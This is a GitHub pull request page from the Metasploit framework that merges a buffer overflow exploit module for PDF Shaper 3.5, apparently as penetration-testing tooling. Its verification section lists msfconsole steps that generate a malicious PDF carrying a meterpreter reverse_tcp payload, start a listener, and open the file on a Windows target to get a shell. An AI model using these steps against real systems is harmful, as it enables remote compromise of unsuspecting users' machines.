Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

finishing metacoms work for pdf-shaper-bof #7578

Merged
merged 1 commit into from
Nov 30, 2016
Merged

finishing metacoms work for pdf-shaper-bof #7578

merged 1 commit into from
Nov 30, 2016

Conversation

lsato-r7
Copy link
Contributor

@lsato-r7 lsato-r7 commented Nov 18, 2016 •
edited by thelightcosine

Part of issue #7558
Finishing up @metacom27 s work from PR #6058
Tested on Windows 8

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • use exploit/windows/fileformat/shaper_pdf_bof
  • set payload windows/meterpreter/reverse_tcp
  • set lhost your.ip.right.here
  • exploit
  • generates a pdf file msf.pdf -> copy it to your Windows box
  • use exploit/multi/handler
  • set payload windows/meterpreter/reverse_tcp
  • set lhost your.ip.right.here
  • run to start listening
  • on target Windows box, download + install pdf shaper (https://www.exploit-db.com/exploits/37760/)
  • run pdf shaper -> 'PDF to Image' -> 'Add file' -> add msf.pdf -> 'Convert'
  • should get a shell

@thelightcosine thelightcosine self-assigned this Nov 18, 2016
@bcook-r7 bcook-r7 changed the title finishing metacoms work for pdf-shaper-bo finishing metacoms work for pdf-shaper-bof Nov 22, 2016
@thelightcosine thelightcosine merged commit 920ecf6 into rapid7:master Nov 30, 2016
thelightcosine pushed a commit that referenced this pull request Nov 30, 2016
Land #7578, pdf-shaper exploit
d1be2d7 
Land lsato's work on the pdf-shaper buffer overflow
exploit
@thelightcosine
Copy link

thelightcosine commented Nov 30, 2016 •
edited by tdoan-r7

Release Notes

The Buffer Overflow Exploit for PDF Shaper v3.5 by metacom has been added.

@tdoan-r7 tdoan-r7 added the rn-enhancement release notes enhancement label Dec 7, 2016
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Reviewers
No reviews
Assignees

@thelightcosine thelightcosine

Labels
rn-enhancement release notes enhancement
Projects
None yet
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.

None yet
3 participants
@lsato-r7 @thelightcosine @tdoan-r7